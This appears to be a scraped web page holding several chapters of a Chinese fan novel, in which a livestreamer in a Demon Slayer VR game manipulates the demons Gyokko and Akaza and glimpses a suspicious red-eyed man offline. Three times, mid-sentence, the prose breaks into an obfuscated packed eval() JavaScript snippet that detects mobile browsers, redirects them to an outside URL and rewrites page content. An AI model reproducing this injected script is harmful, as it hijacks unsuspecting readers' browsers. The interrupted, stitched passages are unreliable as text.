艺术家三个字显然取悦了玉壶,他警惕的神色稍缓,错位的眼睛依旧眯着,“学习?你能看懂我的艺术?” “我会努力的。”朝奈走上前,完全无视那些对准她的壶口,仔细端详他手里的作品。 几秒后,她开口:“表情的张力很棒,将痛苦表现得非常传神,不过——” 她指了指壶嘴部分,“这里太尖锐了,如果弧度稍微调整一下,会不会更有冲击力?” “还有眼睛的间距,感觉稍微宽了一点,不太符合黄金分割率呢。” 【我勒个黄金分割率】 【那我问你,你的壶嘴怎么尖尖的】 【黄金分割率是多少来着】 【0.618】 【前面的说错了,0.618是倒数,应该是近似于1.618】 【等等,怎么突然变成科普直播间了】 玉壶愣住了。 几百年来,很少有人认真点评他的作品,而且神色没有半点恐惧,像是真的能理解他的美学。 他低头看看手里的壶,又看看朝奈认真的脸,表情有点恍惚。 “黄金分割率?” “对啊,美学基础嘛。”朝奈说得理所当然,“艺术虽然追求个性,但基本的美学原则还是要遵循的,不然就只是乱来。” 最后两个字她说得很轻,但玉壶听清了。 他的眼睛瞬间瞪大。 “你说我乱来?!你懂什么!这才是真正的美!永恒的美!”他突然愤怒地尖叫起来。 11. 第十一章 周围的壶口全部对准朝奈,随时准备喷出毒液。 【精准踩雷这一块/.】 【开个班吧,我真想学】 【查询玉壶精神状态】 【真就和论坛总结的一样,一言不合就发疯】 【主播的表情好像在说:你看,又急】 正如弹幕所说,朝奈现在的表情波澜不惊,语气也非常平淡。 “玉壶先生为什么生气?是因为我说你的作品乱来,还是因为,”她看着玉壶错位的眼睛,“你心里其实也这么觉得?” 玉壶的尖叫戛然而止。 他僵在原地,细长的眼死死盯着朝奈,握着壶的手开始颤抖。 “你,你胡说!” “我是不是胡说,你自己心里清楚。”朝奈抬起手,在手中凝起一块冰,举到玉壶面前。 冰面映出他此刻愤怒而扭曲的脸。 朝奈轻声说,“生气只会让你的艺术变丑陋。” “你应该更平静一点才对,不然怎么配称之为艺术家呢?” 怎么配、称之为、艺术家呢? 这句话像一记重锤,玉壶的瞳孔骤然收缩。 他想起了很久以前,那时他还是个十五岁的少年,在深山的工坊里当学徒。 工坊的主人是个严厉的老匠人,以制作茶道名器闻名。 他花费了许多心血,从采土到淘洗再到揉泥,一点一点做出了那个壶,小心翼翼捧给师傅看,却被一脚踢碎。 “丑死了!这种东西也配叫艺术?!” 师傅的斥责混杂着师兄们毫不掩饰的嗤笑,像鞭子抽在他身上。 他跪趴在地,慌乱地捡拾着壶的碎片,指尖被割破了也浑然不觉,泪水大颗大颗滴在泥土上。 为什么。 为什么就是得不到认可? 为什么他的艺术,永远没有人理解? “我...我...” 玉壶颤抖着后退,恍惚间手里的壶“哐当”一声掉在地上,摔了个粉碎。 那段痛苦的回忆慢慢与眼前景象重叠起来。 “我的作品!!!” “不可原谅,不可原谅!!!” 玉壶突然暴起,无数壶口同时喷出剧毒的液体,如暴雨般射向朝奈。 他接受不了被看穿,接受不了那些被深埋的伤痛被这样赤裸裸地挖出来。 毒液袭来。 朝奈甚至都还没机会躲,洞穴顶部的钟乳石毫无征兆地断裂,精准地砸在她面前,形成一道天然屏障,替她挡住了所有毒液。 玉壶一愣。 还没等他反应过来,侧面墙壁上装饰用的壶又突然炸开,碎片如刀刃般射向他,逼得他连连后退。 紧接着,他脚下的一块石板毫无征兆地塌陷,让他一个踉跄差点摔倒。 一次是巧合。 两次是意外。 三次... 玉壶猛地抬头,惊恐地扫视四周:“谁?!谁在搞鬼?!!!” 洞穴里只有他和朝奈。 朝奈站在原地,毫发无伤。 她抬起头,看向空气中的某个方向,轻轻说了声“谢啦”。 虽然并不清楚为什么会帮她。 玉壶顺着她的目光看去,似乎有道身影一闪而过。 金色的眼眸,粉色的短发,还有那一身武道服,虽然只有一瞬,但那种压倒性的气息他不会感受错。 “....猗窝座?”玉壶声音发颤,“是猗窝座阁下?!” 洞穴里只回荡着他自己的声音。 玉壶看看朝奈,又看看那片阴影,他的表情变得无比惊恐。 下一秒,他好几双手猛地抱住自己的头,发出凄厉到变调的尖叫,“我不玩了!!!” 余音还在颤抖,他的身影已化作一道仓皇的黑影,不管不顾地扎向屋内最大的那只壶,砰地一声把壶口封死,连一丝气息都不敢再漏出来。 【玉壶老师不行啊,这么快就破防了】 【不儿,刚刚那个真是猗窝座?】 【咱也没看清,等主播下播了查查回放(?】 【说不定是玉壶自己臆想的,极端情绪下的被害妄想症知道吧?】 【猗窝座和主播认识吗就帮忙,完全没道理啊】 【你说是童磨我都能信一半,三哥忙着提升战力呢,没事勿cue】 洞穴重归寂静。 朝奈站在原地,看着那个紧闭的壶,有了新的思路。 看他怕成这样,刚刚在暗中帮她的人身份肯定不简单。 壶身还在颤抖。 既然如此,就由她来当这个恶人好了。 她一步一步走上前,然后抬起脚,稳稳踩在了壶身边缘。 整个人一副耐心已经耗尽,不愿意再好声好气废话的模样。 “玉壶先生,”朝奈的声音带着一丝不耐烦,“我想你误会了,我不是在和你玩小孩子的过家家游戏。” 她微微俯身,靠近那微微震颤的壶口,阴影投在光洁的釉面上。 “我是在警告你。” “你那些灌满毒液的壶,”她嘴角的弧度开始扩散,“还有你创作的艺术品,我都可以把它们全部变成一文不值的碎片。” “你可以继续沉浸在你的美学里,这是你的自由。” 她脚下略微加力,壶身发出不堪重负的破裂声,脸上的表情写满了嚣张。 “当然咯,想对你做什么就是我的自由了呢。” “怎么样,你现在改变主意了吗?” 玉壶彻底没了声音,连壶身的颤抖都停止了,仿佛彻底僵死。 时间仍在缓慢流逝,朝奈一边等着对方的回应,一边也没闲着。她在查看直播后台的收支情况。 过了很久,玉壶才从瓶口重新冒出。 “你你你,”他每一个字都好像耗尽了力气,虚浮地飘在空气中,“你到底想怎么样?” “只需要你按照我说的做。”朝奈笑眯眯的回答道,仿佛自己特别好说话。 “我要怎么做?”玉壶还在忌惮方才闪过黑影的地方,身形有几分颤颤巍巍。 朝奈缓缓收回脚,站直身体,“很简单。” “从今往后,你做你的壶,但有两个要求。” 她竖起一根手指。 “第一,不能再以任何形式亵渎生命,你过去的那些珍藏,自己处理干净。” 接着,竖起第二根。 “第二,遵循正常的创作美学,不许用那些旁门左道。” “我...我做不到,”玉壶声音虚弱地抗拒,“没有那些素材,我的艺术就毫无价值...” 朝奈眼尾微微上挑,冰冷的刀刃抵在了他的脖颈上。 “我错了我错了!”几乎是秒怂,他神色惶恐又焦急地改口,“我答应!我全都答应!什么都答应!” “如果你违反了要求,”朝奈淡淡地看着他,刀刃并未撤去,甚至又往前抵了几寸,“下场应该清楚吧?” 玉壶被盯得脑袋直冒冷汗,心里叫苦不迭,这姑奶奶真是难缠,“我,我发毒誓绝不违反!” “行。” 朝奈缓缓收了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122972|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀,听见响起的系统提示音,也没着急走。 她打量了一下四周奇形怪状的壶,像在用什么当参考。 然后凝起一片浓浓的冰雾,凭着自己上的几节手工课的印象,在手心中快速塑形。 几分钟后,一个迷你版的玉壶出现在她掌心。 她不紧不慢地放到了对方面前。 “还你的,就当你碎掉的那个壶的赔礼。”临走之际,她如是说道。 【玉壶都懵逼了】 【他甚至不知道用哪双手捧起壶】 【什么叫做打一巴掌再给颗糖】 【主播有种很浓的dom感,感觉非常适合训狗(bushi】 【训训我的】 - 无限城某条偏僻的回廊,猗窝座站在阴影里,准备向无惨做汇报。 就在他准备联络鸣女时,某位不速之客不请自来。 “好久不见,猗窝座阁下~” 那道轻快的声音从身后响起。 猗窝座身体一僵,缓缓转身。他讨厌这个声音的主人,讨厌他轻浮的态度,还有永远挂在脸上的笑。 童磨坐在回廊的栏杆上,他笑容灿烂,宛如偶遇知心好友。 “真巧呢,在这里遇到你。”童磨走到猗窝座面前,“听说你今天很忙?” 猗窝座没说话,神色冷漠地看着他。 “哎呀,别这么警惕嘛。”童磨用扇子掩嘴笑,“我只是好奇,保护别人的感觉如何?” 他向前一步,声音压低,带着某种试探的意味。 “她是不是比看起来更有趣?” 猗窝座依旧沉默,指节发出不堪重负的爆响,青筋沿着绷紧的手臂爬上脖颈。 他最烦对方这种看透一切似的,又轻飘飘的试探。 童磨的笑容却自顾自加深了。 “那个孩子真的很特别呢。”他摇着扇子,语气随意得像在聊天气,“总在最危险的时候,做出最让人意想不到的事。” “今天也是。居然跑去玉壶那里,对他的艺术评头论足,真是勇敢。” 猗窝座终于开口,声音冷淡:“这与你无关。” “怎么会无关呢?”童磨歪头,瞳孔直直盯着他,“她是我先发现的哦。” 话音落下的瞬间空气温度骤降,猗窝座周身爆发出近乎实质的怒意。 金色的眸子锁定童磨,里面的警告清晰无比。 “你要违抗无惨大人的命令?” 每个字都在昭示着他的不耐烦。 四目相对,一个笑意盈盈,一个杀意沸腾。 “猗窝座阁下理解错了呢,我的意思是。” 童磨的声音轻得如一缕烟,却分明带着某种宣誓主权的重量。 “她是我的。” “是我先看见的有趣玩具,是我先接近的特殊存在。” “所以猗窝座阁下,”他微笑着,扇尖轻轻点在猗窝座胸口,“请你。” “离我的东西,远一点。” 死寂。 回廊里只剩下两人对峙的杀气,在空气中无声碰撞,周围木质的结构不堪重负,不断浮现起一道道细密的裂纹。 如果此时有低阶鬼误入这里,恐怕会直接被碾碎。 猗窝座盯着童磨,许久,才缓缓开口。 “无聊。” 他转身,身影融入阴影,消失不见。 童磨站在原地,看着猗窝座消失的方向,笑容渐渐收敛。 “真是的。” 他低声自语。 “明明是我先来的。” 12. 第十二章 “好了,直播间的各位。” “今天就先玩到这里吧,我准备下播休息了。” 朝奈对着直播间打了个哈欠,脸上带着通宵玩游戏后明显的倦意。 在游戏内的时候开着低消耗模式还没什么感觉,一退出游戏来到主页面,那种精神萎靡的状态瞬间袭来。 系统面板显示,她已经在连续在线了26小时37分钟。 【不要啊主播,我还不困】 【才八点,下什么播】 【主播走了那我看啥,电子榨菜这一块谁来提供?】 【下次什么时候开播,我要定闹钟准点来】 【注意休息啊奈奈子,通宵之后脸色好差】 “明天,呃,或者后天晚上吧。”朝奈揉了揉有点发胀的太阳穴,“总之我得先休息一段时间,现在脑子里一团浆糊。” “下次见,各位。” 在一片“晚安”“好好休息”的弹幕中,她关闭了直播界面。 游戏舱盖缓缓被打开,现实世界的空气涌入鼻腔,比游戏舱里的电子设备味好闻多了。 朝奈挣扎着从舱里爬出来,感觉自己的身体像是被拆开重组过。 虽然游戏舱有基础的生命维持,但持续二十多小时的高度精神集中带来的疲惫是无法避免的。 她强忍着困意,坚持着去浴室冲了个热水澡。 然后跌跌撞撞走到床边,随便套了件睡裙,直接一头栽进被子里。 视野陷入黑暗的前一秒,她模糊地想:接下来的主线任务会是什么、玉壶要是不遵守承诺,系统会回收她支线任务的奖励吗、童磨的冰花其实挺好看的,脸也蛮好看的,就是人太变态了不太想和他沾上太多关系...... 然后,意识彻底断线。 房间里一片寂静。 只有朝奈均匀的呼吸声,在昏暗的室内规律地起伏。 在她彻底睡熟后不久,窗台上,一团毛茸茸的东西无声地出现。 招财猫形态的斑打了个巨大的哈欠,琥珀色的眼珠懒洋洋地瞥了一眼床上蜷缩成一团的人类。 “年轻人就是好啊,”它用只有自己能听到的声音嘀咕,“通宵打完游戏,倒头就能睡着。” “不像我,一把年纪了,熬夜看剧都腰酸背痛...” 它熟练地跳上床头柜,蹲在那里,打量着朝奈的睡颜。 卸下了游戏里那副时而狡黠时而漠然的面具,此刻的她看起来就是个再普通不过的年轻女孩。 黑发散乱地铺在枕头上,眼下有淡淡的青黑,嘴唇干燥而淡绯。 斑伸出爪子,隔空摸了摸她的额头。 “倒是挺能折腾。”它低声说,“无惨、童磨、猗窝座、玉壶......啧,这才多久,就把无限城搅得鸡飞狗跳。” “不过,”猫咪老师的目光变得深邃了些,“系统倒是没选错人。” 它又看了一会儿,然后甩了甩尾巴,身影逐渐变淡。 “好好睡吧,小家伙。”最后的声音消散在空气里,“游戏才刚刚开始呢。” 房间重归寂静。 只有朝奈无意识的呢喃,在睡梦中模糊地溢出:“...小严胜和小缘一真可爱...怎么又是他...死变态别碰我...” 窗外的天色从深夜的漆黑,逐渐过渡到黎明的灰蓝,再到正午的鎏金,最后又沉入傍晚的昏黄。 朝奈是被饿醒的。 如果不是胃部剧烈的抽搐和喉咙火烧般的干渴把她强行拽出梦境,她大概还能再睡上半天。 她挣扎着睁开眼,视线模糊了好一会儿才聚焦。 摸过床头的手机,看了眼时间,傍晚六点三十七分。 wow,她睡了将近一整天。 “嘶。”试图坐起来时,全身的肌肉都在发出悲鸣。 大脑倒是清醒了,但身体还停留在过度使用后修复尚未完成的状态。 摇摇晃晃走进厨房,拉开冰箱,空空如也。 除了半瓶不知道放了多久的矿泉水,和两包已经过期的方便面,什么都没有。 朝奈瞪着空荡荡的冰箱格子,肚子适时地发出响亮的“咕噜”声。 “行吧。” 她认命般叹了口气,抓起手机和钥匙,套了件宽大的连帽卫衣,踩着拖鞋就出了门。 小区是老式的六层建筑,没有电梯,朝奈住在六楼,下楼时腿软得差点直接滚下去。 一到室外,风带着凉意,吹在脸上倒让她清醒了不少。 便利店在小区门口转角,二十四小时营业,玻璃门上贴着镭射材质的促销海报,在夕阳的映照下有些反光。 推门进去,熟悉的“欢迎光临”电子音响起,店里只有一个戴着耳机一脸疲态的年轻店员,头一点一点的,根本没注意到她。 朝奈径直走向冷藏区。 饭团、三明治、便当。 她的目光快速扫过货架,手指准确无误地抽出两个金枪鱼饭团,一盒蔬菜沙拉,又拿了瓶大容量的可口可乐。 抱着东西走向收银台时,她的余光瞥见了站在杂志架前的那个人。 动作顿住了。 倒不是她刻意去看,这人实在太扎眼了。 傍晚的便利店里,他穿着一身剪裁精良的黑色西装,打着暗红色的领带,还带着一个几乎遮住半张脸的口罩。 身姿笔挺,手里拿着一本财经杂志,却根本没有在看,他的视线落在玻璃门外,不知在观察什么。 但这些都不是重点,重点是他的皮肤。 在便利店的日光灯下,那个男人的皮肤呈现出一种极不正常的苍白。 朝奈感到奇怪。 她的脚步没有停,继续走向收银台,将怀里的东西一样样放在台面上,年轻店员迷迷糊糊地扫码,报出价格。 她扫码付款,整个过程流畅自然。 不过她的注意力,始终分了一缕在那个男人身上。 就在店员将装好东西的塑料袋递给她时,那个男人似乎察觉到了她的目光,缓缓转过头。 两人的视线,在空气中短暂交汇。 朝奈看清了他的眼睛,是红色的。 对方很快移开了视线。 朝奈的心脏猛地一跳。 她脸上什么表情都没有,只是平静地也将视线移开,接过塑料袋,转身推开店门。 电子音再次响起:“谢谢惠临。” 走出便利店,她维持着正常的步速,走回小区,上楼,开门,进屋。 防盗门在身后关上的瞬间,她才靠着门板,缓缓吐出一口气。 “这人什么情况?” 她低声自语,将塑料袋丢在茶几上,走到窗边,撩起窗帘一角往下看。 便利店门口空无一人。 那个男人已经不见了。 那么红的眼睛,会是什么特殊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122973|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾病导致的吗? 她脑子里闪过这个念头,随即又否定。除了皮肤太苍白以外,那个人看起来挺健康的。 突然间想起,那个叫鬼舞辻无惨的BOSS眼睛好像也是这个颜色,虽然有点牵强,但她决定上《鬼灭之刃》的论坛看看有没有相关线索。 登上论坛之后,首页推荐里有很多热帖,而且全都有一个相似点。 ——都和她多多少少有点关系。 她有这么火? 朝奈非常好奇这些帖子都在说什么,在点进同城的解疑板块之前,她先逛了一圈主页加精的热帖。 #【求助】那个把地狱难度玩成乙女游戏的主播,到底是谁开小号? 乙女游戏吗?乙在哪里,明明连NPC的手都没摸过几次好吗。 回复[楼主:虔诚之花の晚钟]:没有吧,她只是正常推主线。 #【领磕】分析童磨和朝奈不得不品的那些细节,教主大人他超爱的 啊,那个根本感知不到情绪的玛丽苏男鬼,他懂什么是爱吗? 回复[楼主:搞三年同人拆五对美帝]:醒醒吧孩子,恋爱脑哒咩。 #【战力分析】李涛一下那个朝奈对上黑死牟本体谁会赢 哪来的这么多强度党。 回复[楼主:黑死牟单推人(最近爬墙中)]:没有等级差的话,应该是那个朝奈。 #【吐槽】为什么我见到上弦都是直接被秒,她就能触发隐藏或者支线任务 这个得问游戏设计师了。 回复[楼主:上线被杀千百遍我待鬼灭如初恋]:或许是时机场景不对,你要不多试几次。 看了几条热帖之后,她进到解疑板块,基本上都是游戏内容的问答,刷了半天没看见什么有用的信息。 她摇了摇头,决定暂时不去想,也许那个人只是哪个COSPLAY的爱好者。 当务之急是填饱肚子。 匆匆解决了饭团和沙拉,灌下半瓶可乐,朝奈感觉活过来了。 又在床上瘫了一会,她才起来准备干正事。 疲惫感消退了大半,接下来就该是娱乐时间了。 上次玩的《鬼灭之刃》直播反响很好,她决定这段时间专心播这款游戏。 走进游戏舱前,她最后看了一眼手机。 有一条未读信息,来自直播平台的后台管理员: 【用户朝奈您好,您的直播间“HELL难度开荒”人气持续飙升,已进入全站热门推荐位,请注意直播内容合规性,祝您直播愉快!】 朝奈挑了挑眉。 注意直播内容合规性,说人话就是记得开游戏内置的直播模式,这个模式会自动打码血腥的、某些不可说的场面,以防危害未/成/年。 她戴上全息头盔,躺进舱内,启动了桌面上的游戏图标。 视野被熟悉的浮世绘风格加载界面占据,血月与紫藤花在缓缓转动着。 登录完成的瞬间,朝奈出现在无限城中某个房间里。 位置和她下线时一模一样,但给人的感觉却有所不同。 就好像时间过去了很久一般。 游戏世界里的时间流速和现实不同步,系统为了玩家体验,通常会模拟出时间流逝感,此刻的无限城就充斥着这种异样的感觉。 她活动了一下手腕,准备调出系统面板,查看一下自己下线的时间里,游戏内都发生了什么变化。 13. 第十三章 “系统已自动为您生成离线日志。” “玩家离线时长共计:约23小时。” “当前游戏内已流逝时间:六十七年三个月零十一天。” 六十七年? 朝奈盯着那行数字,一时间陷入了头脑风暴中。 六十七年虽然对鬼来说不长,但也足够发生很多事情。 她深吸一口气,走进空荡的回廊。 木地板在脚下发出轻微的吱呀声,她朝着左上角地图上显示的某处地标走去。 上次做完支线任务的时候急着下线休息,她就没有去确认那件事。 现在重新上线后,没有道理不去弄个明白。 此刻直播间的观众也陆陆续续涌进来,弹幕变得非常热闹。 有打招呼的。 【一日不见如隔三秋啊主播】 【想你了亲爱的奈奈子,你知道我这整整一天是怎么过的吗】 【主播主播能不能夸夸我,我把你加进特别关心里了,你一开播我就飞速赶来观看】 还有没弄清状况的。 【刚来,什么情况】 【主播这是准备传送去哪里】 【是我的错觉吗?今天的游戏画面怎么和之前不太一样?】 也有分析游戏内容,并规划安排的。 【准备推主线还是打困难本,或者去找隐藏?】 【游戏公告说更新了少量游戏内容,我看论坛还没有人触发,主播要不要来当第一个摘桃子的】 【游戏流逝时间不对吧?鬼阵营和人类阵营计算方法不一样?】 朝奈挑了几条能回答的进行回应,不知不觉间便走到了她的目的地。 一处废弃已久的道场,院中有樱花簌簌飘落着。 入口处蜿蜒向内的石路上,有几滩红色格外刺眼。朝奈的目光循着尚未完全干涸的痕迹看去。 那些血迹时而清晰集中,时而零星几点,仿佛伤者在某个瞬间踉跄着扶住了墙,又在下一刻强行提气疾行。 周遭散落的樱瓣越来越多,如同某种引路的标识,静静地堆在血迹旁。 她跟着这道指引往前走。 小径尽头,是一座半倾颓的鸟居,断续的血迹到此便陡然鲜明起来。 朝奈踏上石阶,继续顺着血迹往深处去,她走得很慢。 最终走到了一大片最深最浓的阴影前。 堆积了不知几层落花的廊下,想要找的人就在那里。 猗窝座单膝跪在地面上,微微垂着头,深可见骨的裂痕像蛛网般布满他的皮肤,伤口边缘泛着诡异的暗紫,血肉正以缓慢的速度蠕动着尝试愈合,然后一次、又一次失败。 他的身体在抗拒修复。 赤裸的上身肌肉线条依旧凌厉,但此刻却在剧痛的痉挛下小幅度的颤抖着。 听见脚步声,他缓缓抬起头。 沉默在空气中蔓延。 面对猗窝座明显不欢迎的目光,朝奈倒是毫不在意般打起了招呼。 “猗窝座阁下。” “怎么浑身是伤呢?”她还哪壶不开提哪壶般发问,“难道是...无惨大人罚的?” 对方未做回答,但是紧绷着的下颌线和眸中的怒意已经说明了一切。 朝奈的视线落在他胸腹间一道最深的伤口上,那道伤几乎贯穿了他的身体,皮肉翻卷,隐约可见其下缓慢蠕动的内脏。 无惨下手可真狠,再怎么说也是他的得力助手吧。 “让我猜猜。” “任务失败了?”她眯着眼睛,打量着他全身裸露出来的伤口,颇为感慨,“哎呀,真可怜。” “你到底...”每一次呼吸都牵动着后背狰狞的伤口,他的声音勉强从牙缝里挤出来,“想干什么?” “我想确认几件事。”她走近了因重伤而行动受限的猗窝座。 抬起手,指尖轻轻落在了那道伤口边缘,指腹像羽毛般拂过翻起的血肉。 猗窝座浑身剧颤。 一种尖锐陌生的触电感从那一点炸开,瞬间窜遍全身。 他猛地抬手,想抓住她的手腕,但动作只到一半就僵住了。 因为朝奈的指尖,正不轻不重地抵在了伤口最脆弱的那一点上,只要再用力半分,就能触及内脏。 “我劝你最好别乱动呢。” 似乎怕他不清楚,朝奈微微笑着向他解释,“因为我的手上,藏有紫藤花毒哦。” 猗窝座身体本能地绷紧,却又不敢真的发力挣脱。伤口太深了,她的指尖正抵在最要命的位置,哪怕只是轻微的动作,都可能让她把毒直接按进内脏。 他现在的身体很脆弱,经不起紫藤花毒素的蔓延与扩散。 “那天在玉壶那里,帮我的人是你,对吧?”朝奈不紧不慢地问。 沉默。 她的指尖微微用力,感受着皮肉下骨骼的轮廓,“无惨大人给你的命令,是监视并保护我,对吗?” 猗窝座闷哼一声,额角渗出冷汗。 这一次他开口了,声音带着压抑的喘息。 “是,又怎样?” 然而,许久都未得到回应,他感到有些怪异地抬眸,看见朝奈的神色变得意味深长。 她抵在他伤口上的手缓缓收了回去,指尖上干干净净,根本没有涂抹任何毒物的痕迹。 “骗你的。”她笑得很开心,“紫藤花毒那么珍贵,我才不舍得随便用。” 猗窝座愣住。 居然敢这样耍他?! 就在他紧皱眉头的时候,朝奈的手缓缓落在了他的头顶。 薄樱色的短发触感柔软,她的手指穿过那些发丝,慰抚似的揉了揉,动作很轻。 “乖狗狗。” 那张脸染上了一丝明晃晃的戏谑。 从、来、没有人敢这么对他。 猗窝座的杀气几乎是瞬间升腾。 他的拳头即将触碰到朝奈皮肤的瞬间,她收敛了所有笑容。 鬼血术霜息在他们之间生成了一片阻隔的雾气。 那一拳如同打在了棉花上,触感轻飘飘的。 朝奈后退半步,脸上的恶劣和轻佻一瞬间消失,就好像突然玩腻了一样。 “我不是来和你打架的。”她声音淡淡的开口,阻止了一场没必要的冲突。 猗窝座的手僵在半空。 惹怒他的人也是她,现在翻脸不认人的也是她。 他死死盯着朝奈,“你到底要干什么?” “合作。”朝奈言简意赅。 “合作?”猗窝座冷笑,“我和你?” 面前这个嚣张的女人让他想到了另一个,同样令他生厌的家伙。 也是这样不请自来,自说自话。 “对啊。”朝奈点头,“无惨大人不是让你监视我,保护我么。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122974|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以定期向你汇报我的行踪。” “如果我要离开,也可以提前告诉你,这样你就能应付他的任务了。” “而且,我知道无惨大人给你的另一个秘密任务哦。” “青、色、彼、岸、花。”她一个字一个字地说着。 猗窝座的瞳孔猛地一凝。 她怎么知道?无惨大人也将任务下达给她了? “我们完全可以合作,我帮你找你要的东西,你帮我免去不必要的麻烦。” 猗窝座沉默了很久。 他盯着她,眼眸里翻涌着复杂的情绪。 他确实需要找到青色彼岸花。 但这并不意味着就一定要和她合作。 “别着急拒绝。”朝奈大概能猜到猗窝座内心所想,她开口试图挽回对方的心意。 “青色彼岸花如果那么容易找到,无惨大人也不会追索数百年无果,然后把它作为任务单独交给你。” 她的指尖轻轻点了点自己的太阳穴。 “而我呢,恰好有一些特别信息来源渠道,我的效率,会比你漫无目的地搜寻要高得多。” 她顿了顿,看着猗窝座依旧紧绷的下颌线。 “当然,你也可以拒绝我,然后继续像现在这样,”她的目光扫过他满身的伤口,“每次我消失,你就因为任务失败受罚,也找不到青色彼岸花的线索,在无惨大人那里又多失去一分信任。” “你想变强,对吧?”朝奈的声音忽然放得很轻。 “但你现在正在为一个无聊的监视任务浪费时间和精力。” 朝奈敏锐地捕捉到了猗窝座眼中一闪而过的权衡与动摇。 她后退半步,摊开手。 “和我合作,你能得到什么?” “首先,稳定的任务汇报,可以免去因我消失而受罚的风险。” “其次,青色彼岸花的更多消息,提升你完成秘密任务的可能。” “而你需要付出的,”朝奈给出了自己的条件,“仅仅是在某些无伤大雅的事情上,选择睁一只眼闭一只眼。” “稳赚不赔的交易,错过之后可就不会再有了。” 她说完,胜券在握般看着他。 一时间空中只剩下风声,还有落花簌簌的细微声响。 猗窝座沉默了许久。 他缓缓开口。 “如果你背叛。” “如果我背叛,”朝奈接得非常之快,“你可以立刻向无惨大人汇报。” 她笑了笑,“当然,我不会给你这个机会,因为背叛你对我没有任何好处。” 猗窝座的目光锁在朝奈脸上。 她的笑容坦荡又恶劣,仿佛吃定了他会答应。 真是令人火大。 但,她刚才说得那些话也并非没有道理。 变强,强到足以打破一切桎梏。 这才是他存在的意义。 而不是像现在这样,被撕裂身体,跪在这里狼狈地自我修复。 风险当然也存在,对方太狡猾,一不小心可能就会着了她的道。 ...... 利弊的天平,在他心中已然倾斜。 终于,他抬起头。 “好。” 一个字,掷地有声。 朝奈对上那双金色的、刻着上弦·叁字样的眼,丝毫没有惧意。 “合作愉快,猗窝座阁下。” 14. 第十四章 朝奈离开道场之后,传送来到玉壶的艺术馆前,差点以为自己走错了地方。 她是来确认玉壶有没有好好遵守和她的约定的,顺便找他帮个小忙。 记忆中那个掉san值爆表的恐怖洞穴,此刻竟然变成了一间相当干净整洁的宅屋。 纸门推开,室内光线明亮。 墙壁上挂着几幅意境悠远的山水画,墙角摆着几盆绿植,地面铺着干净的榻榻米。 房间中央是一张书桌,上面铺着素色的桌布,摆放着笔墨纸砚。 而玉壶,那个曾经尖叫着要把所有东西做成壶的扭曲之鬼,此刻正拿着一支极细的毛笔,专注地在一个素色的陶壶上描绘着什么。 他看起来比六十多年前沉稳了许多,眼睛微微眯起,所有的注意力都集中在笔尖。 他的动作很慢,很稳,每一次落笔都经过深思熟虑。 【起猛了家人们,这还是我们的玉壶老师吗】 【伤玉壶,泯然众人矣】 【前面的,不要学了什么知识就随便乱用啊喂】 【唉,都怪主播上次当大恶人,连上弦五都变得这么正常了,爷青结】 【期待主播的下一个上弦改造计划】 朝奈悄悄走近,看向他正在画的图案。 是樱花。 粉白的花瓣在壶身上缓缓绽放,枝干苍劲有力,整体构图简洁而富有意境。 但。 朝奈的视线落在樱花树的主干上。 那棵树画得过于端正了,少了几分自然生长的随性。 她忽然想起某处道场里那棵巨大的樱花树,枝干恣意伸展,有一种野蛮的生命力。 “枝干可以再歪一点。”她忽然开口。 “对啊!我怎么没想到呢?歪一点,歪一点才自然。”玉壶喃喃自语,立刻在那道弧线上稍作修改,让主干微微向一侧倾斜。 就这么一个小小的改动,整幅画的意境瞬间就变了。 从精致的装饰画,变成了有生命力的艺术品。 玉壶越画越顺手,笔尖如行云流水,很快就把整棵樱花树补完了。 最后一笔落下时,他长长舒了一口气,脸上露出了异常满足的笑容。 紧接着,他突然发觉到了好像哪里不对,拿着毛笔的手一抖。 然后猛地抬头,眼睛瞪大,脸上写满了震惊和茫然。 显然,他刚才太专注了,根本没发现房间里进了人,甚至没反应过来那声提醒是别人发出来的。 “朝、朝奈小姐?!”玉壶的声音有些不自觉的结巴,看来六十年前那件事给他留下的阴影还是太深,“您什么时候...” “刚来。”朝奈走到书桌对面坐下,指了指那个壶,“你刚才那个樱花树的主干,画得太直了,真实的树不会长得那么规矩。” 玉壶愣愣地看着她,又低头看看自己画的壶,总觉得哪里有点不对劲。 这姑姑奶真的不是来找茬的吗? 朝奈拿起面前画好的壶,仔细端详了一番。 “你已经做得很好了,这种专注的状态,才是真正的艺术家该有的样子。” 玉壶的眼睛瞬间又亮了起来。 “真的吗?” “嗯。”朝奈点头,将壶放回书桌上,“继续保持,记住,艺术是为了表达你想表达的,不是为了取悦任何人。” 她夸完了玉壶,看着他露出飘飘然的满意神色,有些好笑地将话题一转。 